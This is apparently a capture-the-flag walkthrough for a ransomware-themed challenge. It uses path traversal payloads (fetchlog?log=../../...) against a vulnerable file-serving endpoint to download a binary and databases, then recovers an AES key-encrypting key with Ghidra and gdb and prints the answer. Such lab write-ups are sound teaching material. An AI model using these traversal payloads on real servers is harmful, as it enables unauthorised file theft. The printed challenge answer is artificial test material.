You're an administrator! Congratulations!
It still doesn't look like we're able to find the key to recover the victim's files, though. Time to look at how the site stores the keys used to encrypt victim's files. You'll find that their database uses a "key-encrypting-key" to protect the keys that encrypt the victim files. Investigate the site and recover the key-encrypting key.
Enter the base64-encoded value of the key-encrypting-key
So we got access to the admin page! Lets take a look:
Clicking on Retrieve List
, we get a key generation log. Hm, lets look into that function in app/sever.py:
def fetchlog():
log = request.args.get('log')
return send_file("/opt/ransommethis/log/" + log)
And lets check what the admin.html page looks like:
<div class="column">
<div class="box">
<h3 style="text-align:center;">Key Generation Log </h3>
<p> Access the key generation log, for troubleshooting purposes. </p>
<button type="button" onclick="window.location.href = 'fetchlog?log=keygeneration.log'"> Retrieve List </button>
</div>
</div>
So seems like its going to fetchlog?log=keygeneration.log
, lets check if we can do a path traversal exploit by going to root using fetchlog?log=../..
:
Awesome, so lets see what we can get. Looking into into the app/sever.py code more, we can see multiple references to a file called keyMaster
:
def lock():
# (snipped)
result = subprocess.run(["/opt/keyMaster/keyMaster",
'lock',
str(cid),
request.args.get('demand'),
util.get_username()],
capture_output=True, check=True, text=True, cwd="/opt/keyMaster/")
# (snipped)
def unlock():
# (snipped)
result = subprocess.run(["/opt/keyMaster/keyMaster",
'unlock',
request.args.get('receipt')],
capture_output=True, check=True, text=True, cwd="/opt/keyMaster/")
# (snipped)
def credit():
# (snipped)
result = subprocess.run(["/opt/keyMaster/keyMaster",
'credit',
args.get('hackername'),
args.get('credits'),
args.get('receipt')],
capture_output=True, check=True, text=True, cwd="/opt/keyMaster")
# (snipped)
So how do we get keyMaster
, well, since we know that fetchlog?log=../..
is opt, we can go to fetchlog?log=../../keyMaster/keyMaster
:
And we got keyMaster, nice. Looking into app/util.py we can see those sql databases we interacted with earlier:
@contextmanager
def victimdb():
victimdb = "/opt/ransommethis/db/victims.db"
try:
con = sqlite3.connect(victimdb)
yield con
finally:
con.close()
@contextmanager
def userdb():
userdb = f"/opt/ransommethis/db/user.db"
try:
con = sqlite3.connect(userdb)
yield con
finally:
con.close()
Lets download those by going to fetchlog?log=../../ransommethis/db/victims.db
and fetchlog?log=../../ransommethis/db/user.db
:
We'll keep victims.db and user.db just in case we need them later in our investigation. Now lets take a look at how the site stores the keys used to encrypt victim's files. We can see there's a lock
function in app/server.py:
def lock():
if request.args.get('demand') == None:
return render_template('lock.html')
else:
cid = random.randrange(10000, 100000)
result = subprocess.run(["/opt/keyMaster/keyMaster",
'lock',
str(cid),
request.args.get('demand'),
util.get_username()],
capture_output=True, check=True, text=True, cwd="/opt/keyMaster/")
jsonresult = json.loads(result.stdout)
if 'error' in jsonresult:
response = make_response(result.stdout)
response.mimetype = 'application/json'
return response
with open("/opt/ransommethis/log/keygeneration.log", 'a') as logfile:
print(f"{datetime.now().replace(tzinfo=None, microsecond=0).isoformat()}\t{util.get_username()}\t{cid}\t{request.args.get('demand')}", file=logfile)
return jsonify({'key': jsonresult['plainKey'], 'cid': cid})
From here, we can see there are 4 parameters, lock
the action to be performed, cid
the unique id of the key (in task B1, we know our victims cid was 92807
), demand
the amount the victim needs to pay, and username
the username of the hacker. But first lets see what keyMaster
is:
$ file keyMaster
keyMaster: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, Go BuildID=FeeM7E1BxG8P8Nja2FeT/6JtOtF_3gBRqjJolw_C5/9-c3gRqihLNGfuGBnA4q/VjnaYGjdxFpj1FM_kEnN, BuildID[sha1]=64c92e0c1609beaae73cb04c698f3ecbf5b1b35b, stripped
Lets run the binary in a sandbox with some random parameters:
$ ./keyMaster lock 1 1 0xfbad
{"error":"no such table: hackers"}
I noticed after doing this, a keyMaster.db
file was created in the same directory. Which means there's a file that this binary references, lets download the database in case we need it later by going to fetchlog?log=../../keyMaster/keyMaster.db
. As the site said, this is a months old key database:
Anyway, lets look into the code of the binary by opening it in Ghidra. And since it's a Go binary, its a real mess:
Disassembling Go is known to be a pain due to its compiler optimizations. But luckily for us, people have had the same issue and they have made tools to help us. I suggest reading CUJO AI's blog post on reversing Go binaries. But anyway, we'll be using their Ghidra scripts, which can be found here. Let's load those scripts up in Ghidra:
Now, we should be able to go to main.main
and see the actual main function:
Looks much better! Lets take a look around. We can actually see right away where its comparing if a given argument is unlock
(its reversed due to endianness):
Lets browse for the unlock function:
I stumbled across this function while browsing, and it looks interesting:
Interesting, looking inside, we notice that the decompilation lacks a bit (which is probably due to Ghidra's dead code detection), but we can also see a call to crypto/aes.NewCipher
:
Let's see what that call before it is. It looks like its generating a PBDKF2 key! That must be what they're encrypting the keys with via AES. If you're wondering why theres such a big block of text, its because Go binaries don't have string terminations so you get large blocks of text like this:
Well lets not waste any time, lets go back and look at the address of the crypto/aes.NewCipher
call:
Ok so its being called at 0x005b87d5
, since the PBKDF2 return is right above it, it will probably be stored on the first register, RAX
. Lets set a breakpoint there and see what happens:
Lets open up gdb and set a breakpoint at that address:
$ gdb -q keyMaster
Reading symbols from keyMaster...
(No debugging symbols found in keyMaster)
(gdb) b *0x005b87d5
Breakpoint 1 at 0x5b87d5
Now lets run it with arguments so it gets to the breakpoint in the lock section:
(gdb) run lock 1 1 0xfbad
Starting program: /.../keyMaster lock 1 1 0xfbad
(...)
Thread 1 "keyMaster" hit Breakpoint 1, 0x00000000005b87d5 in ?? ()
And now we can check RAX
to see what that PBDKF2 key is:
(gdb) info registers
rax 0xc000148100 824635064576
rbx 0x20 32
rcx 0x20 32
rdx 0x20 32
rsi 0x0 0
rdi 0x0 0
(...)
(gdb) x/32xb 0xc000148100
0xc000148100: 0x2e 0xe0 0x42 0x12 0xae 0xc5 0x37 0xb9
0xc000148108: 0x51 0xf4 0xd1 0x11 0x00 0x3e 0xd0 0xf7
0xc000148110: 0x87 0xd7 0xaf 0x58 0x22 0x1b 0x92 0x87
0xc000148118: 0x08 0xf0 0x9a 0xa0 0xd3 0x7a 0xb3 0x33
So the hex value of key was 0x2e0xe00x420x120xae0xc50x370xb90x510xf40xd10x110x000x3e0xd00xf70x870xd70xaf0x580x220x1b0x920x870x080xf00x9a0xa00xd30x7a0xb30x33
. Lets convert that into base64:
$ xxd -r -p <<< "0x2e0xe00x420x120xae0xc50x370xb90x510xf40xd10x110x000x3e0xd00xf70x870xd70xaf0x580x220x1b0x920x870x080xf00x9a0xa00xd30x7a0xb30x33" | base64
LuBCEq7FN7lR9NERAD7Q94fXr1giG5KHCPCaoNN6szM=
And we got the base64 represented key! We can submit LuBCEq7FN7lR9NERAD7Q94fXr1giG5KHCPCaoNN6szM=
:
Great job! I think we've almost got their files back.
Use a path traversal vulnerability to get the keyMaster binary. Then load into Ghidra, find where the PBKDF2 key is generated and returned, then simply catch its return by checking the RAX register when its passed into a function. Convert the hex value to base64 and submit it.